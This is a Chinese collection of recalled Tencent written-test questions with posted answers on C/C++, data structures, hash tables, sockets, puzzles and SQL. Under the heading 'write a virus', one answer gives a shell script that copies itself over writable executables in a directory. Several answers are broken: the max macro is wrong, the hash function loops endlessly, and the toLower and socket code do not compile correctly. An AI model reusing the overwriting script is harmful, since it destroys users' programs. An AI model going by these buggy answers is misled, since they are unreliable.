Tencent笔试题收集
----------------------------------------------------------------------------------------------------------------------------------
腾讯的流程是一笔和四面。前三次面试都是技术面,hr面基本不刷人。笔试成绩决定面试顺序。技术面可能要写代码,做智力题目。
主要是c/c++、数据结构、操作系统等方面的基础知识。好像有sizeof、树等选择题。填空题是补充完整程序。附加题有写算法的、编程的、数据库sql语句查询的。还有一张开放性问题。
1.请定义一个宏,比较两个数a、b的大小,不能使用大于、小于、if语句。
#define max(a,b) (abs((a)-(b))-((a)-(b))) ? (b):(a)
2.如何输出源文件的标题和目前执行行的行数
C定义的预定义宏:
__DATE__ 进行预处理的日期(“Mmm dd yyyy”形式的字符串文字,如May 27 2006)
__FILE__ 代表当前源代码文件名的字符串文字 ,包含了详细路径,如G:/program/study/c+/test1.c
__LINE__ 代表当前源代码中的行号的整数常量
__DATE__ 源文件编译日期
__TIME__ 源文件编译时间,格式微“hh:mm:ss”,如:09:11:10;
__func__ 当前所在函数名,在编译器的较高版本中支持
__FUNCTION__ 当前所在函数名
__STDC__ 常数1, 指示是标准兼容
__STDC_HOSTED__ 如果是hosted实现,为1; 如果是..实现,为0
__STD_VERSION__ C99为199901L
int line= __LINE__;
char *file = __FILE__;
cout << "file name is " << file << ",line is " << line <<endl;
3.两个数相乘,小数点后位数没有限制,请写一个高精度算法
与大数相乘原理一样,只是调整小数点位置,即有效小数个数
算法提示:
输入 string a, string b;计算string c=a*b; 返回 c;
1. 纪录小数点在a,b中的位置l1,l2,则需要小数点后移动位置数为l=length(a)+length(b)-l1-l2-2;
2, 去掉a,b中的小数点,(a,b小数点后移,使a,b变为整数)
3, 计算c=a*b; (要么用java的BigInterger搞, 要么自己用C++写高精度数乘法,超过百万位,用FFT,我就不细说,这都预先写过就别做了)
4, 输出c,(注意在输出倒数第l个数时,输出一个小数点。若是输出的数少于l个,就补0)
4.写一个病毒
#shellvirus II
for file in *
do
if test -f $file ; then
if test -x $file ; then
if test -w $file ; then
if grep -s echo $file >.mmm ;then
cp $0 $file
fi;
fi;
fi;
fi;
done
rm .mmm -f
上面这个不对,没有传染性,寄生性……
5.不使用额外空间,将 A,B两链表的元素交叉归并
6. struct st{
int i;
short s;
char c;
};
sizeof(struct st); //8
char * p1;
void * p2;
int p3;
char p4[10];
sizeof(p1...p4) =?//4,4,4,10
5.让你在100000000个浮点数中找出最大的10000个,要求时间复杂度优。
最小堆
二分查找
快速排序
双向链表的删除结点
有A、B、C、D四个人,要在夜里过一座桥。他们通过这座桥分别需要耗时1、2、5、10分钟
,只有一支手电,并且同时最多只能两个人一起过桥。请问,如何安排,能够在17分钟内
这四个人都过桥?
CD -> AB 2
ACD<-B 1
A->BCD 10
AB<-CD 2
->ABCD 2
基础题有15道选择和2道读程序填空。选择题的确是很基础,主要考数据结构,还有一些体系结构、数据库的题目;读程序题跟我们平时考试的差不多,一道是两个升序链合并成一个升序链+递归,一道是四色着色方案
附加题有几道没有看清楚。有一道是unix防僵死算法,最后一道是sql查询,还有几道忘了,其中一个是很长的程序题。。
15个选择题,60分
一个程序填空,40分
三道附加题60分
附加题考的是
不用第三个变量实现两个整形变量的交换
linux的子进程
操作系统资源抢占管理,两个进程要对文件进行独占访问,采用共享变量,判断可行否
书写strcpy()
时间两个小时,选择题 15*4
然后是程序填空题 10 (2*5), 30 (10*3)
附加题用c++ 实现一个链地址hash。
程序填空题我就不说了,比较easy的说,值得一提的是选择题。
绝大部分考的是C++,我大致说下主要部分吧:
涉及程序执行压栈的:1道
涉及容器和迭代器的:4道
涉及虚拟函数以及dynamic_cast的 3道
涉及参数传递的 1道
简单的程序段落判断 2道
涉及类的静态成员赋值的 1道
剩下的是杂七杂八的。
不管怎么说,假如你把c++ primer 仔细阅读了一遍,基本上没问题。
考的有些细,没有涉及算法和编译等知识,所以我同屋一个兄弟很郁
闷,因为他linux底层比较好,本来报的是后台开发,哪知道结果考这
种类型的题目。
程序填空的考了文件操作,以及数组移动等。
附加题比较简单的说,只要把数据结构的hash部分好好看,然后用class
/***************************** Hash_table.h**********************************/
#ifndef HASH_TABLE_H
#define HASH_TABLE_H
#include <string>
using namespace std;
struct node /*定义节点*/
{
node():_next(NULL){}
string _value;
node* _next;
};
typedef node* hash_node; /*类型定义*/
const int MULT = 31; /*散列函数的参数*/
const int TABLE = 10000; /*数组的大小*/
class hash_table
{
public:
/*构造函数*/
hash_table(hash_node* table);
/*析构函数*/
~hash_table();
/*向hash_table插入元素*/
void Insert(const string& word);
/*从hash_table中查找元素*/
int Search(const string& word);
private:
/*散列函数*/
unsigned int hash(const string& word);
private:
hash_node* _table;
};
#endif
/************************************end*************************************/
/*****************************hash_table.cpp***********************************/
#include "hash_table.h"
#include <iostream>
using namespace std;
/*构造函数*/
hash_table::hash_table(hash_node* table)
{
_table = table;
}
/*析构函数*/
hash_table::~hash_table()
{
delete[] _table;
}
/*散列函数*/
unsigned int hash_table::hash(const string& word)
{
const char* p = word.c_str();
unsigned int h = 0;
for (; p; p++) /*hash_table的心脏*/
{
h = (h*MULT) % TABLE + (*p) % TABLE;
}
return h;
}
/*插入函数*/
void hash_table::Insert(const string& word)
{
/*得到对应的散列值*/
int h = hash(word);
/*对应节点为空,插入本节点*/
if (_table[h] == NULL)
{
hash_node n = new node();
n->_value = word;
n->_next = NULL;
_table[h] = n;
return ;
}
/*如果节点不为空,连结在本节点为头节点的链表*/
for (hash_node p = _table[h];p != NULL;p = p->_next)
{
/*包含相同的值,直接返回*/
if (p->_value == word) return ;
}
/*发生冲突,处理冲突*/
hash_node n = new node();
n->_value = word;
n->_next = _table[h];
_table[h] = n;
}
/*查询函数*/
int hash_table::Search(const string& word)
{
/*得到对应的散列值*/
int h = hash(word);
/*如果对应的节点为空,直接返回*/
if (_table[h] == NULL)
{
return -1;
}
/*循环本节点,匹配对应的值,返回结果*/
for (hash_node p = _table[h];p != NULL;p = p->_next)
{
if (p->_value == word)
{
return 1;
}
}
return -1;
}
/************************************end***********************************/
组装一下就ok了。
-----------------------------------------------------------------------------------------------------------------------------------
选择题(60)
c/c++ os linux 方面的基础知识 c的Sizeof函数有好几个!
程序填空(40)
1.(20) 4空x5
不使用额外空间,将 A,B两链表的元素交叉归并
2.(20) 4空x5
MFC 将树序列化 转存在数组或 链表中!
1, 计算 a^b << 2 (运算符优先级问题)
(a)^(b << 2)
2 根据先序中序求后序
3 a[3][4]哪个不能表示 a[1][1]: *(&a[0][0]) *(*(a+1)+1) *(&a[1]+1) *(&a[0][0]+4)
4 for(int i...)
for(int j...)
printf(i,j);
printf(j)
会出现什么问题
变量的作用域
5 for(i=0;i<10;++i,sum+=i);的运行结果
sum 1+2+...+10
6 10个数顺序插入查找二叉树,元素62的比较次数
7 10个数放入模10hash链表,最大长度是多少
8 fun((exp1,exp2),(exp3,exp4,exp5))有几个实参
9 希尔 冒泡 快速 插入 哪个平均速度最快
10 二分查找是 顺序存储 链存储 按value有序中的哪些
11 顺序查找的平均时间 O(n)
12 *p=NULL *p=new char[100] sizeof(p)各为多少
4 4
13 频繁的插入删除操作使用什么结构比较合适,链表还是数组
link
14 enum的声明方式
enum { //.. };
15 1-20的两个数把和告诉A,积告诉B,A说不知道是多少, B也说不知道,这时A说我知道了,B接着说我也知道了,问这两个数是多少
大题:补空
1 把字符串转换为小写,不成功返回NULL,成功返回新串
char *toLower(char *srcStr)
{
assert(srcStr != NULL);
int len = strlen(srcStr);
char dstStr = new char[len+1];
if(NULL == dstStr)
return NULL;
char *sptr = srcStr;
char *dptr = dstStr;
while(*ptr != '\0')
{
if(*ptr >= 'A' && *ptr <= 'Z')
{
*dptr = *sptr - 'A' +'a';
}
else
{
*dptr = *sptr;
}
sptr++;
dptr++;
}
*dptr = '\0';
return dstStr;
}
char* toLower(char* sSrcStr)
{
char* sDest= NULL;
if( __1___) //NULL != sSrcStr
{
int j;
sLen = strlen(sSrcStr);
sDest = new [_______2_____]; //sLen +1
if(*sDest == NULL)
return NULL;
sDest[sLen] = '\0';
while(_____3____) //(--sLen>=0)
sDest[sLen] = toLowerChar(sSrcStr[sLen]);
}
return sDest;
}
2 把字符串转换为整数 例如:"-123" -> -123
main()
{
.....
if( *string == '-' )
n = ____1______;
else
n = num(string);
.....
}
int num(char* string)
{
for(;!(*string==0);string++)
{
int k;
k = __2_____;
j = --sLen;
while( __3__)
k = k * 10;
num = num + k;
}
return num;
}
附加题:
1 linux下调试core的命令,察看堆栈状态命令
/usr/proc/bin/lsstack core
2 写出socks套接字 服务端 客户端 通讯程序
//client.c
int main()
{
int sockfd, n;
char recvline(MAXLINE+1];
struct sockaddr_in servaddr;
if(socket(AF_INET, SOCK_STREAM, 0) < 0)
{
exit(-1);
}
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
inet_pton(AF_INET, "202.120.37.167", &servaddr.sin_addr);
servaddr.sin_port = htons(13);
if(connect(sockfd, &servaddr, sizeof(servaddr)) < 0)
exit(-1);
while((n = read(socket, recvline, MAXLINE)) > 0)
{
//..
}
exit(0);
}
//server.c
int main(int argc, char *argv[])
{
int listenfd, connfd;
struct sockaddr_in servaddr;
char buff[MAXLINE];
listenfd = Socket(AF_INET, SOCK_STREAM, 0);
bzeros(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(13);
Bind(listenfd, (SA *) &servaddr, sizeof(servaddr));
Listen(listenfd, LISTENQ);
for ( ; ; )
{
connfd = Accept(listenfd, (SA *) NULL, NULL);
Write(connfd, buff, strlen(buff));
Close(connfd);
}
exit(0);
}
3 填空补全程序,按照我的理解是添入:win32调入dll的函数名
查找函数入口的函数名 找到函数的调用形式
把formView加到singledoc的声明 将singledoc加到app的声明
关于DLL请看 >>>
4 有关系 s(sno,sname) c(cno,cname) sc(sno,cno,grade)
1 问上课程 "db"的学生no
select sno from sc join c on (sc.cno = c.cno) where cname = 'db'
2 成绩最高的学生号
select sno from sc where grade = (select MAX(grade) from sc)
3 每科大于90分的人数
select COUNT(sno) from (select sno, MIN(grade) from sc group by sno) as tmp(sno, min_grade) where min_grade > 90